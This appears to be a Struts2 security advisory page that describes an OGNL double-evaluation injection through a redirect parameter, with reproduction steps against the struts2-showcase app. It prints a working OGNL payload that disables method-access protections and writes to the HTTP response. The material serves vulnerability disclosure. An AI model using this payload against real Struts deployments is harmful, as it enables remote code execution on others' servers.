Page History

Summary

Problem

OGNL provides, among other features, extensive expression evaluation capabilities.
A request that included a specially crafted request parameter could be used to inject arbitrary OGNL code into a property, afterward used as request parameter of a redirect address, which will cause a further evaluation.

...

1. Run struts2-showcase
2. Open url: http://localhost:8080/struts2-showcase/skill/edit.action?skillName=SPRING-DEV

3. write skill name to %{expr} for example:

   Code Block
   %{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false) #hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}

   
   

4. submit the form

...

...